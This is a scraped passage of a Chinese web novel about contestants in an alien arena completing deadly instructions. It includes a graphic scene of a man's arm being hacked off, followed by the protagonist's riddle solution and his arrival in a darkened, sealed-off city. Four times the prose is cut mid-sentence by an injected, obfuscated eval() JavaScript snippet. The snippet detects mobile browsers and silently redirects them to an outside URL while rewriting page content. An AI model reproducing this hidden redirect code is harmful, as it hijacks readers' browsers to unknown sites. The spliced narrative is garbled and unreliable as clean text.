打定主意以后,纹身壮男死死握住斧柄,猛地一个转身,竟然大步朝着他们蓝组所在的区域走去。 非人类观众们都被他这个举动惊讶到了,环形竞技场充斥着他们的低呼。 “哎呀!” 复眼女主持发出一声疑问:“他想干什么?” 不过她并没有阻止纹身壮男持斧离场,反而任由镜头追着对方往前走。 “你、你要做什么?” 面对手持利斧气势汹汹的纹身壮男,侧手翻小哥说话都在哆嗦:“你……你这样是、是犯规的……” “滚!” 纹身壮男已经豁出去了,只凶狠地朝对方丢出一个字。 小哥果然就怂了,连退十几步,缩进了角落里。 而另外两位女孩儿更是有多远躲多远,根本不敢吱声。 纹身壮男径直来到中年男人面前。 中年男人从两臂的缝隙里瞧见逼近的纹身壮男,发出了一声杀猪般凄厉的惨叫。 他突然就意识到对方要做什么了。 下一秒,纹身壮男左手持斧,右手抓住他的一条胳膊,用尽力量往外掰。 “放过我!放过我!” 中年男人连踢带打,用尽力气想要挣脱纹身壮男的钳制。 可惜两人的力气相差太大,纹身壮男硬是掰开了他的一条胳膊,然后抬脚把他的手踩在地面上。 “不要啊!救命!!” 中年男人的嚎得撕心裂肺,几乎要将嗓子劈裂了。 然而纹身壮男丝毫没有怜悯之意。 他高高地举起斧头,朝着中年男人的胳膊劈砍了下去。 厚实的斧刃深深地陷入了血肉里,却被骨头卡住,没能一下砍断。 “啊——!!” 伴随着一声杀猪般凄厉的惨叫,中年男人疼得几乎要晕厥过去,偏偏又吊着一丝神智没能失去意识。 开弓没有回头箭。 纹身壮男使劲拔出斧头,朝着那扭曲的手臂砍下第二下、第三下。 终于,中年男人的左臂自肘部以下彻底断成两截,血液从断口处哗啦啦飚出,溅了受害人和施暴者一头一脸。 “看!一只手!” 纹身壮男丢下染血的斧头,捡起中年男人的断手,高高地举了起来。 “我砍下一只手了!” 他疯了一般放声咆哮:“反正指令没说砍谁的手!我这不算犯规吧!?” ### 现场的非人类观众们没料想还有挑战者能用这一招,纷纷惊呼出声。 复眼女主持却一点没生气,反而像是对这个发展感到很有意思一般,咯咯地笑了起来。 “不错,很有胆量。” 她朝纹身壮男挥了挥钳状的左手,“稍等,我先听听主办方的意见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520914|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 复眼女主持用另一只手按了按耳麦,侧头做倾听状。 足足半分钟之后,不知藏匿在何处的主办方给出了结论。 “官方说指令一仅要求‘砍下一只手’,没有明确表示挑战者必须砍下自己的手不可。” 女主持大声宣布道: “所以这次的挑战,蓝组并未触犯规则,可以判定为完成任务了!” 随着这声判决落地,意味着蓝组已经赢得了最终的胜利。 很快的,蓝组所在的场地被一个亮白色的光圈包裹。 约莫两秒后,光圈消失,带走了五名挑战者,只留下地上那一大滩血迹和失禁的尿液。 观众们看得很欢腾,红组的五人却静悄悄的,谁都不吱声。 所有人都意识到了一个很要命的问题——既然蓝组都能用这种方法过关,那么他们红组呢? 已经完成了背元素周期表的马尾辫女孩,还有马蜂群中取硬币的精英姐姐下意识抬头,看向大屏幕。 在确认了屏幕上某条触目惊心的指令之后,两人的脸色刷一下白了。 【指令7、把刀刺进胸口。】 若是剩下的两人里有任何人为求通关而选择了这条指令,那么他完全可以仿效隔壁组那纹身壮男的做法,将刀子刺进“别人的”胸口来达成指令条件。 虽说纹身壮男选的砍手对象是同样没做过任务、对团队毫无贡献的懦弱中年男人,可主办方评判的标准只说了是否按照指令完成,无关被选择的对象是不是做过任务的人啊! 在两位女性看来,她们红组这三个男人,能单挑魔狼的美青年战斗力逆天到了常人莫及的程度,自然没人会觑着他来下手。 剩下俩男的一个高大强壮,另一个虽然文质彬彬但身高摆在那儿,不论两个人中谁想要发狠,定然肯定会选更好欺负的对象下手——那便是她们这两个较之柔弱许多的女性! 刀刺胸口可比砍手要命多了。 砍手还尚有生还可能,刀子刺进胸膛里,那基本上就是十死无生了。 想到这里,马尾辫女孩和精英女姐姐只觉浑身冰冷,看向令言和那高壮青年的眼神都明明白白带上了极度的警惕和恐惧。 以令言的智商,当然也在女主持宣布蓝组挑战成功的刹那间,意识到了问题的严重性。 他自己当然不会也不必选这条杀人害命的指令,但他要警惕组里剩下的那个人自以为穷途末路而放弃底线。 想到这里,令言抬手一把拉住身旁的俊美青年,压低声音,朝他飞快地说了一句话…… 而与此同时,红组那高壮小哥才堪堪从隔壁组那一连串变故中回过神来,如梦方醒一般,抬头也看向屏幕。 他是个搞自媒体的小网红,有着八分之一的斯拉夫血统,骨架子天生就大,加上家境不错,爱好户外运动和健身撸铁,身强体健,在朋友圈里很吃得开,也很受异性欢迎。 不过他的脑子不算太聪明,没队里其他人转得快,直到现在才想明白,说不定自己可以效仿刚才那纹身壮男,用刀子去刺别的人! 这样不仅能保住自己的小命,还能让整个团队一起通关! 9. round 0.指令挑战赛-09 高壮小哥平日里虽跋扈了些,但从来到底是个守法公民,成年以后连架都没打过,就更别提生出用刀刺人胸口的念头了。 如果可以,他当然希望用别的不伤害别人的方法完成挑战。 可是就凭他那不甚灵光的脑子,在这等紧迫关头,他的两只眼睛像是中邪了一样死死盯着屏幕上的指令七,再也看不到别的指令,也想不出别的办法了。 ——我这是为了大家啊! 高壮小哥一边自我开脱,一边做着心理建设。 ——我如果扎得浅一点……说不定……说不定…… ——再说了,就算真的杀人了,那起码也能救其他人啊! ——我不想死啊!我不想死啊! 这时,复眼女主持已将脑袋转向红组,宣布轮到他们选择新的指令了。 ——不能让那小白脸给抢了去! 高壮小哥浑身一个激灵。 他生怕令言跟自己打同样的主意,抢先了一步,到时候对方手持尖刀冲过来的时候,谁能保证一定不会扎到自己?于是连忙就想举手,在令言开口前先去争那指令七。 “我——啊!!” 然而有人比他更快。 不是令言,而是方才做完了杀魔狼任务的俊美青年。 只见他右脚一抬,稳稳地踢在了高壮小哥的腿弯处。 明明被踹的高壮小哥体重起码有个一百七八十斤,在毫无准备之下挨了这么一脚,居然就两膝一屈,上半身直接扑倒在地上,结结实实地摔了个标准的狗吃屎。 这一下实在太狠了,他的后半句话随着一声惨叫全摔没了。 而一旁的令言则趁着这个机会高高举起了手。 “下一个任务让我来!” 他在镜头的特写中,清晰而响亮地说出了自己的选择: “我选指令四!” ### 红组的几人全愣住了。 大家都以为他会仿效隔壁组的手段,选择伤害别人让自己通关的指令七,以至于当令言说出自己要选指令四的时候,根本就不记得所谓的“指令四”到底是个什么条陈了。 当然主持人和现场数万观众也是如此。 所有人的反应都非常统一,他们纷纷抬头看向了浮空的巨大光屏。 【指令4、回答猫在哪里。】 众人:??? 这是个意义不明的指令。 不管是谁初看都会一头雾水,甚至怀疑这可能是某种无厘头的恶作剧。 因为没有哪个挑战者关注过这一条指令,以至于他们都不知道此时此刻该做什么表情才好了。 “……什、什么叫‘猫在哪里’?” 连那刚刚被踹倒的高壮小哥都维持着四肢着地的标准失意体前屈姿势,愣愣地瞪着屏幕,口中喃喃自语:“……这TM到底是什么意思?” 俊美青年也微微皱起眉,将目光转向令言,眼神中带着一丝的疑惑。 诡异的沉默持续了足足两秒钟。 “……咳。” 终于,复眼女主持手持麦克风,响亮地清了清嗓子,开口问道: “好吧,那请这位挑战者回答,‘猫在哪里’?” 女主持下意识放轻了说话的音量和提问的语速,很显然是心里没谱。 由此可知,即便她身为主持人,也并不知道这个古怪问题的正确答案。 “好的。” 与旁人的惊诧相比,令言却显得很平静,完全就是一副胸有成竹的样子。 他抬起手,朝左前方的观众席一指: “那边,有几个字母和一个符号。” 所有人都顺着令言手指的方向看去。 令言指出的区域距离正下方的圆形舞台相对较近,挑战者们仅凭肉眼就能看清坐在那儿的观众们的长相。 与其他区域相同,那儿坐的无一不是非人类。 长得那叫一个奇形怪状、超越常识,连投资几个亿美元的好莱坞大片都很难配置出这等五花八门、各具特色的诡异生物。 但这些怪东西怪虽怪,却怪得和其他地方的观众毫无区别,也根本看不出哪里有所谓的“字母”。 议论声、嘘声四起。 就连被令言指到的那片区域的观众都出现了小范围的骚动。牠们纷纷你看我我看你,皆从邻座脸上看出了和自己相同的疑惑,分明也是毫不知情的。 女主持那对巨大的蜻蜓般的复眼里,数以十万计的瞳孔全都拉长成了笔直的线状。 “这位挑战者,麻烦你解释得更清楚一点。” 她虽然用了敬语,但明显压低的声线充满了威胁的意味——若令言的解释不能令她满意,便要让他即刻炸成烟花。 “现在这样看不出来。” 令言并没有被女主持的语气吓住,语速依旧不疾不徐: “只有在观众用力挥动手里的荧光棒时,才会在特定的瞬间看到字母和符号。” 复眼女主持所有的瞳孔全都睁圆了,“真的?” 她转向那一片观众席,大声说道:“你们挥一下荧光棒看看!” 现场虽坐的全是非人类,但就像人类世界的比赛或是演唱会一样,观众们手里也是拿着许多应援物的,其中便以一种很像荧光棒的会发光的棒子最为常见。 听到女主持的话,场外即刻爆发出热烈的起哄声,让那一区域的观众赶紧试试,看看是不是当真会出现所谓的字母或符号。 那一片的非人类们十分配合,纷纷用肢体、触手、须足或是任何能晃悠的部件,使劲地挥舞起荧光棒来。 果然,以白光为主调的荧光棒摇晃起来之后,其中一部分会在某个瞬间短暂地愈发明亮,并闪烁炫目的银色荧光。 顿时有识得人类文字的观众看出了端倪,大声叫道:“是字母!果然是字母!” “是的,闪烁银光的荧光棒会组成三个字母。” 令言说道: “分别是‘C’、‘A’、‘T’,也就是‘CAT’,英文里的‘猫’。” 他顿了顿,又接着补充道: “除此之外,三个字母的正下方还有一个指向下的箭头——这才是正确答案。” 说到这里,令言提高了音量: “箭头指着的那位先生——对,就是那位穿白色西装,头上戴着白底银边的高礼帽的那位先生。他兴奋时会将礼帽掀起,礼帽下面有一只猫。” 他大声而清晰地说出了自己的回答: “所以,猫就在那位先生的礼帽下面!” ### ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520915|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被令言点名的“先生”是怪物堆里难得长得人模人样的一位。 他有着与正常人类很相似的身高和肢体比例。脑袋是脑袋、身体是身体,胳膊也长在寻常的位置,甚至连手臂、手掌的长度都很标准,还不多不少刚好长了五个指头。 只不过若是盯着他的脸看,便能很轻易发觉他绝对不是人类。 因为他的皮肤质地像极了蜡像,白腻且光滑,五官如同倒模出来的一般焊死在脸上。 他细眉小鼻,眼睛弯成弧度圆润到不正常的新月状,嘴巴则像直接用刀子在蜡面上划拉出来的一道裂口,几乎横贯了整张脸,从一侧的耳根咧到另一侧,维持着一个似笑非笑的诡异弧度。 令言在注意到他的第一瞬间,脑中就浮现出了自己在玩游戏看小说时偶尔接触到的一个词——“伪人”。 明明有着人类的外貌,却又在细节处透着不正常的违和感,像是非人类的生物拟态成人类的模样,往往比明明白白的怪物更让人害怕,也更加危险。 而此时,这个笑面伪人似乎一点都没有不高兴的样子。 他大大方方地站起身,在众目睽睽之下抬手摘下了自己那顶白底银边的高礼帽,并将礼帽摆在胸前,像个中世纪的贵族老爷一样,朝着女主持遥遥行了个脱帽礼。 笑面伪人的礼帽下是一头梳理得很整齐的白发。 而他的白发中趴着一只雪白的小猫,看起来约莫只有三四个月大,骤然见光也不惊慌,而是眯起自己黄色的眼睛,抬起两只小爪子,慢悠悠地洗了把脸。 “还真是猫!!” 会场上空回荡着复眼女主持兴奋的尖叫声。 与此同时,主办方也将笑面伪人和他的猫的特写清清楚楚地投射在了大屏幕上,让不管坐在哪个角落的观众,以及还留在赛场上的挑战者都能看得清清楚楚。 毋庸置疑,对于指令四,令言给出了一个出人意料的正确答案。 “指令4挑战成功!” 主持人兴奋地宣布道: “这么一来,红组已完成四个指令,满足了通关条件,本次挑战赛完满结束!” 一听通关条件达成,马尾辫姑娘一下子没忍住,发出了一声激动的尖叫,连一贯表现得足够冷静的精英姐姐也咬紧嘴唇,用没被蜜蜂蛰伤的那只手死死拽住挎包带子,用力到指节发白。 而原本想要靠“杀人”来通关的高壮小哥则始终维持着趴在地上的狼狈姿势,抬头直愣愣地瞪着光屏里那只洗脸的幼猫,似还没能回过神来,满脸写着茫然。 令言则长长地舒了一口气,紧绷的神经松弛下来,让他感到了一种虚脱般的疲惫感。 ——这场莫名其妙的所谓挑战赛,终于要结束了。 这时,有人轻轻抓住了他的胳膊。 令言回头,正对上俊美青年那双黑如冷渊的眼眸。 “不错。” 青年抿了抿唇,似乎很浅地笑了一下:“你挺厉害的。” 令言实在没料到他会忽然称赞自己,正不知该如何应对时,忽然感到有某种无形之力在拉扯自己。 “哎——!” 他才刚刚说出一个字,脚下便骤然一空,直直向下坠去。 在失重的恐惧中,他下意识紧紧地回握住了俊美青年的那只手…… 10. round 0.指令挑战赛-10 坠落的时间很短,令言还来不及恐慌就已落了地。 由于毫无准备,他双脚触地时难以避免地踉跄了一下,差点就要跌倒。 好在令言一直抓着俊美青年的胳膊,而对方落地稳稳站住之余,还顺带搀了令言一把,才让他免受那一跤之痛。 “谢谢。” 令言道了谢,然后抬头左右四顾。 随即他倒抽了一口凉气。 “——我们这是在哪里!?” 令言对自己所见的一切简直震惊到不知该说什么才好了。 他虽然不是滨海市人,但滨海市作为华国的一线大城市,其地标建筑别说在国内,在全世界都有些知名度,远远看上一眼就能认出来。 可令言在进入竞技场前,明明在两百公里外的H市,怎么一出来就直接从H市穿到滨海了? 不过比起穿越,更让令言感到惊疑的,是他身处的这个滨海市的现状。 作为一个国际大都市,滨海是名副其实的不夜城,就算在深夜也该灯火通明,摩天大楼霓虹闪烁,大街小巷车来人往,入目皆是喧嚣才对。 特别是抬头就能看到电视塔的这一带,更是以夜景闻名的沿江景点,令言简直无法想象,这里怎么可能像现在这样到处黑灯瞎火,连路灯都没有,只能凭头顶那流动着不祥的暗紫光芒的夜空作为“光源”,才能勉强看清远处那些标志性建筑的轮廓。 “这里是滨海市没错。” 俊美青年似乎早料到令言会有此一问,很平静地给出了回答:“只不过已经不是你知道的那个滨海了。” 令言抬头看着青年,神色茫然。 他觉得自己的心理承受力算是很强的了,但此时还是难以避免地产生了不知所措的惶惑感。 “说来话长。” 俊美青年叹了一口气,“我们别站在这里了。” 他抬了抬被令言拉住的那只手: “走吧,先去我落脚的地方。” ### 令言乖乖地跟着俊美青年穿过暗夜无灯的街道,走了约莫五分钟,便拐进一个小区。 令言仔细观察了这附近的建筑物的样子。 这些房子看起来约莫有二十来年的楼龄了,都是八层或九层的楼梯房,没有电梯,不过看窗户的数量和朝向应当是很讲究采光的设计,加上临江的地理位置,若是在正常状态下,定然是贵到令人咋舌的楼价。 转过一个弯,俊美青年领着令言进了一栋楼,停在了102房门前。 令言见他从口袋里摸出了一串钥匙,熟门熟路地就去开门。 “这是你家?” 令言忍住不问了一句。 “不是。” 没想到俊美青年却给了他一个否定的回答。 “随便找的一间空屋。” 他回头淡淡地瞥了令言一眼,“现在这座城市里没剩多少人了,空下来的屋子多得是。” 令言:“……” 这句话的信息量就有点大了,令言心中疑惑更深。 只不过他现在的问题多到爆炸,即便要问,也不急于这一时半会儿的。 门开了。 令言跟随青年进了屋。 屋里很暗,令言下意识就想开灯。 他伸手摸到了墙上的电灯开关,按了下去。 清晰的一声“咔”传来,但灯光却并没有亮起来。 “全城都停电了。” 青年说着,用打火机点亮了玄关处的一根蜡烛。 火苗在从窗户缝隙漏进来的气流中微微跳动,照亮了青年那张英俊到仿若精工雕琢的容颜。 “坐吧。” 青年拿起蜡烛,朝视线前方的沙发抬了抬下巴。 令言借着微弱的火光打量这套“空屋”。 从客厅的大小和廊厅两端的门的数量来看,这应该是一套六七十平米的两房一厅的套间,装修很简单,但麻雀虽小五脏俱全,该有的家具和生活用品一应俱全。 因为没看到家庭照片,令言暂时还无法推断原本的住户是什么人。 不过从餐桌、沙发和窗帘都是性冷淡的北欧风格来看,多半住的是没有娃的年轻人。 ——确实是个合适临时落脚的住处。 令言心想。 ### 令言在沙发上坐定,青年又从柜里取了一瓶水,推到了“客人”面前。 今晚折腾了许久,令言也确实是渴了。 于是他道了谢,扭开瓶盖,仰头一口气喝了半瓶。 青年则坐到了令言对面的一张单人沙发上,一言不发地等他歇过气来。 令言喝够了水,拧好瓶盖,把瓶子端端正正放回到茶几上。 “咳。” 他清了清嗓子,想了想,说道: “我还不知道你叫什么名字呢。” 青年没料想令言的第一个问题居然是问他的名字,平静如静水的表情出现了一丝涟漪。 “我叫秦均影。” 他抿了抿唇,答道。 报完名字,秦均影对上令言的视线,见他还目不转睛地盯着自己,忽然福至心灵,读懂了对方眼神里的潜台词。 “秦朝的秦,均匀的均,影子的影。” 他又补充道。 令言在心中默默重复了一次对方的名字,然后飞快地琢磨了一下应该怎么称呼对方。 秦均影看起来二十出头,年纪应该和自己差不多,叫“小秦”有点奇怪,直呼名字又似乎过于亲昵。令言纠结了片刻,最后决定暂且用一个保守又不易出错的叫法: “你好,秦先生。” 秦均影轻轻地点了点头。 见对方应下了这个称呼,令言深深地呼出一口气,调整了一下坐姿,挺直肩背,双手放在膝盖上,用最郑重地语气问道: “秦先生,能不能请你告诉我,到底发生了什么事?” 这显然不是一个容易回答的问题。 秦均影蹙起眉,细细思考了数秒钟,才开口说道: “三天前,滨海市的天空忽然暗了下来……” 顿了顿,他又改变了描述: “不,更准确的说,是某种‘物质’忽然将滨海市包裹了起来……等我们回过神来的时候,就变成现在这个样子了。” ### 随后,秦均影给令言讲了一个好似无限流小说设定一般离谱又难以解释的故事。 在滨海市本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520916|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地居民亲历的时间线里,5月10日,原本只是一个普普通通的星期一,他们像平常一样上学、上班,忙碌于自己的事情,却突逢巨变,再也回不到往日的平凡生活了。 午后一点,艳阳高照的天空忽然变成了暗紫色,与苍穹同样色泽的浓郁雾气无孔不进,占据了城市的每一个角落,居民哪怕只要沾上一丝半缕,就会即刻失去了意识。 等他们醒来的时候,滨海市就像被顽童从一张完整的拼图上掰下来的碎片,从熟悉的人类世界剥离开来,被扔进了这个属于非人类的深渊空间。 “……等等。” 令言听到这里,忍不住提出了一个问题:“你确定是整个城市被丢到了你说的这个所谓深渊世界?” 秦均影又露出了那种认真思考该怎么说明的表情。 “也不完全是这样。” 他一边说,一边从茶几下方的抽屉里取出一份纸质地图,摊开在令言面前: “首先,并不是整个滨海市都在这里。” 秦均影抬手,在滨海市上圈出了一个范围:“就目前已知的情况而言,只有这一带。” 令言凑过去,发现秦均影指出的范围约莫仅有滨海市全部面积的四分之一大小,偏偏不巧正是人口最为稠密、经济也最繁华的江岸一带——想必受害者人数绝对得以千万计。 “而且,也不是所有人都会跟城市一起被带到这里来的。” 秦均影接着解释道: “目前看来,只有年满十七岁,且又不大于四十五岁的人才会进来。” 令言低低地“啊”了一声。 “这么说,青壮年人才会被带进来咯?” 不知怎么的,他忽然生出了一种奇怪的感觉:“这年龄门槛,简直就像……筛选一样。” “没错。” 秦均影似乎对令言的敏锐感到满意,勾起唇角,很浅地笑了一下,“我们经历的,正是一场接一场的‘筛选’。” 明明并不冷,令言却莫名地打了一个寒颤。 他几乎是瞬间就联想到了自己刚刚经历过的那场“挑战赛”。 只有能完成指令的队伍才能生存下去。 而不够聪明、不够冷静、不够强壮、不够幸运……或者不够狠心的人,就会被筛选掉,沦为一具死相凄惨的尸体。 “不过就算是只筛选十七岁到四十五岁之间的居民,那也该有好几百万吧?” 令言提出了新的疑问: “可我刚才看外面路上基本没什么人了,你也说过这里到处是空屋……那几百万人都到哪里去了?” “那是因为在你之前,我们至少已经经历过一轮筛选了。” 秦均影回答: “而且因为所有人都没有心理准备的关系,第一轮的筛选死亡率是最高的,存活者仅有大约五十分之一。” 令言顿时就明白了。 几百万人经过五十存一的筛选,仅剩的十数万人散落在一个黑灯瞎火的大城市里,那确实会到处空空荡荡,难得碰到活人实在太正常了。 ——难怪当时不管是红组还是蓝组,所有人看起来都是知情者。 令言心道:看来只有自己是跳过了第一轮筛选的“异类”了。 11. round 0.指令挑战赛-11 “我倒是听说了滨海市被某种黑色物质笼罩的事。” 令言想起自己穿过来之前,室友老徐确实提了一嘴有个“重大新闻”。 可惜他那会儿刚下夜班,累得半死,根本来不及上网冲浪看一看详情。 “不过我记得很清楚,我听说的时候差不多是中午两点左右吧,照你刚才的说法,滨海市应该才刚刚出事没多久……” 令言提出了自己的疑惑: “我想那么短的时间,应该不够你们全部进行完第一轮‘筛选’吧?” 他边说边左右看看,目光透过半开的窗帘投向无灯的街道和暗紫色的天幕,“而且你看起来对这里的情况已经有了一定的了解,想必也是经过调查的……这调查也要耗费不少时间吧?” “嗯,你猜得没错。” 秦均影点了点头,“今天确实不是10号,而是15号。” 他朝放在隔断柜上的日历一指。 令言回头一看,果然看到日历上有红笔做的标记,从十号开始,已经有四天被打上了鲜红的叉叉。 “是吗……现在是晚上了吧,所以说居然已经过去了五天了吗?” 令言面露惊讶,“这‘筛选’,竟然还能中途加人的吗?” 秦均影:“……” 他的目光不由自主地飘忽了一下。 可惜这屋里现在唯一的光源是桌上的蜡烛,一豆焰光本就不稳,秦均影又低了头,以至于令言没能注意到他表情那一秒钟的不自然之处。 “你身上现在应该有个计时器。” 秦均影说着,动手去卷自己没受伤的左手臂的衣袖。 令言下意识张了张嘴,想提醒他你右手还有魔狼咬出的伤口,要不先处理一下再继续聊,却又立刻被秦均影露出的胳膊吸引了注意力。 秦均影的皮肤很白。 令言本身就是冷白皮,加上这大半年一直呆在CCU,过着科室宿舍两点一线的生活,几乎不见天日,不知多久没晒过太阳了,更是白得跟吸血鬼有一拼。 不过现在看来,秦均影的肤色竟然跟他差不多,再被跃动的火光一照,分外细腻温润,简直像是羊脂白玉一般。 而现在,秦均影雪白的左前臂内侧,靠近肘窝的位置,有一组黑色的数字: 【191:32:42】。 并且最后那组数字,正以秒为单位,一秒一跳地减少着。 “倒计时?” 令言在心中迅速换算了一下时间:“差不多还剩七天?” “没错。” 秦均影解释道:“这是每个挑战者剩余的生存时间,你身上应该也有。” 一听“生存时间”,令言脸色一下子就变了。 他立刻撩袖子找自己身上的倒计时。 然而他把袖子全都卷了起来仔仔细细看了一遍,左右臂都没有。 他心里有些慌,心说不会在腿上背上这种地方吧,那找起来得有多难啊! 一边想,令言一边撩起衣服下摆,终于在肚脐旁边看到了黑色的一组数字: 【143:42:51】。 “……只有不到六天吗?” 令言的语气中明显透着不安。 毕竟他还不知道这所谓的“生存时间”要怎么才能搞到,看到自己的时间比秦均影短,难免感到担忧。 “其实我们在上一场赚到的生存时间应该是差不多的。” 秦均影对令言说道:“只不过因为我上一轮还有一天左右的时间剩余,累计时间才比你略长而已。” “原来如此。” 令言心下稍安,“所以说,要赚取生存时间,就必须参加刚才那种挑战赛,对吗?” ### “没错。” 秦均影颔首,“在倒计时归零之前,必须要参加一次挑战赛,想办法完成挑战。” 他顿了顿:“挑战成功的话,你会赚取到与难度等级和赛中表现对应的生存时间。” “难度等级?这是怎么区分的?” 令言感觉自己的疑问简直如山似海,多到数不清:“还有,我要怎么才能进入挑战赛呢?” “挑战赛每天有两场,分别安排在早上十点和晚上十点。” 秦均影答得很耐心:“我们刚才完成的,就是17号晚上十点开始的挑战赛。” 令言点了点头。 秦均影继续说道:“另外,挑战赛开始前一小时,场地顶端会升起‘徽记’,‘徽记’下面还会有难度等级记号。” 他说着,从茶几下方的小柜子里又摸出了一个笔记本,快速地写下了些什么,然后将小本子推给了令言。 令言接过一看,上面是三个单词: 【Easy、Normal、Hard。】 “这是难度分级?” 令言立刻理解了:“所以说难度分为‘初级’、‘普通’和‘高级’三种?” 秦均影的回答十分严谨:“这只是我们目前能找到的分级。” 令言又想到了一个很重要的问题:“那我们之前参加的那场是什么难度的?” 秦均影淡道:“只是最简单的‘Easy’而已。” 令言放下本子,长叹了一口气:“我早该料到的!” 不过比起秦均影口中所说的“生存率五十分之一”的第一场筛选,他们的上一场挑战赛明显简单多了。 不管是红队还是蓝队,两队都有五人活了下来,这么算下来,生存率高达百分之八十有余了。 ……等等,隔壁组不一定是五个人。 毕竟那个中年男人被生生砍掉了一条胳膊,在这缺医少药的荒城里,别说能给他做断肢再植手术的急诊了,能不能及时止血都是个致命的问题。 想到这茬儿,令言立刻职业本能上线,且强烈到让他无法再忍耐,于是他向秦均影郑重建议道: “你的胳膊还伤着呢,这里有药箱吗?我先帮你处理一下伤口吧?” 秦均影抬起眼,看向令言的眼神再次有了波动。 “好吧。” 他一边答应着,一边站起身,从电视机下方的柜子里拖出一个大号塑料箱子,把它放到了茶几上。 令言看秦均影单手就轻轻松松提溜起来,以为它很轻,没想到居然很有分量。 他将箱子打开,发现里面满满当当塞了许多药,从外用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520917|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到内服的应有尽有,而且全都是没开封的,只可惜这些药品没怎么整理过,只囫囵塞在了箱子里,要找起来很不方便。 “这些是我刚来时在附近的药店拿的。” 秦均影把药品的来历告诉令医生: “我不太懂这个,不过常用药品架上的我都拿了一些,应该够用了吧?” ### 秦均影没有说的是,当时第一场初筛是类似真人综艺《逃走中》的狩猎比赛,所有人以停电的荒城为背景,躲避主办方派出的“猎手”的狩猎。 只是狩猎人类的“猎手”不再是装模作样的黑衣人,而是来自深渊的魔兽。 那时居民们刚刚从昏睡中醒来,发现自己身处一个明明应该很熟悉,却再也认不出来的废城,本就吓得够呛了,忽而突然被告知了挑战赛的“规则”,更是慌到了极点——以至于被各种奇形怪状、狰狞恐怖的魔兽追杀时,很多人甚至连自己是怎么死的都不晓得就丢了性命。 那四个小时里,无辜被卷入的居民真是死得一片一片的。 侥幸能活下来的那一小部分也有不少受了伤,没伤的也基本处在受惊过度的状态,满脑子只剩“不知所措”,别说去准备食物和药品了,连先给自己找个安全的存身之所都想不到。 而秦均影是最快接受了现实,并且摸清了自己处境的那一小撮人中的一个。 他以前就住在附近,很快就在这个小区里找到了许多无主的空屋,稍作挑选后,选定了这一套作为临时的住处。 随后他又凭着自己对这一带的熟悉,穿梭于无灯的黑暗街道中,一趟一趟带回了各种生活物资,包括此时搁在茶几上的这一大箱子药品。 “很好,东西挺全的。” 令言粗略整理了一下箱子里的外伤药,找到了双氧水、生理盐水、酒精和碘伏,还有棉签、镊子、剪刀、绷带和弹力胶带等物,颇觉满意。 他将蜡烛移近了一些,然后挥了挥手里的剪刀,朝秦均影一笑:“抱歉了,我要把你这件衣服剪废掉了。” “无所谓,反正我也不打算洗了。” 秦均影居然没让他的玩笑话直接掉地上。 令言虽是内科医生,但他成绩很好,也轮过外科和急诊,基本的外伤处理还是学得很溜的。 他利索地剪开了秦均影的衬衣的右边袖子,一路唰唰直接剪到了肩部,完全暴露出了伤口。 与刚受伤的时候相比,新鲜的出血点基本凝固了,但伤口看起来依然狰狞,看着就让人觉得幻肢疼。 令言心道这位秦先生的忍耐力实在太牛,他到底是怎么能放着这般严重的伤口不管,还能一脸平静地和他对话的。 他一边用双氧水帮秦均影冲洗伤口,一边忍不住感叹:“你都不觉得疼的吗?这要是搁我们医院急诊,病人能喊到整条走廊都听得见了。” “还行。” 秦均影答道: “我去‘遗迹’那儿降低了疼痛阈值,这种程度的伤确实不算什么。” “什么叫‘降低疼痛阈值’?这玩意儿还能降低的吗?” 令言吃惊地抬头,睁大双眼: “还有‘遗迹’又是什么地方?” 12.round 0.指令挑战赛-12 “‘遗迹’的话,你可以理解为是专供给我们这些挑战者的服务站。” 秦均影说道: “目前我们发现的遗迹一共有两个,其中一个就在附近,等明天天亮了,我带你去看看。” 令言点了点头:“在‘遗迹’居然还能调节痛觉程度……这简直就跟网游手游的设定一样……” 他想了想,又问:“那‘遗迹’……应该还有别的功能吧?” “嗯,还能做很多事。” 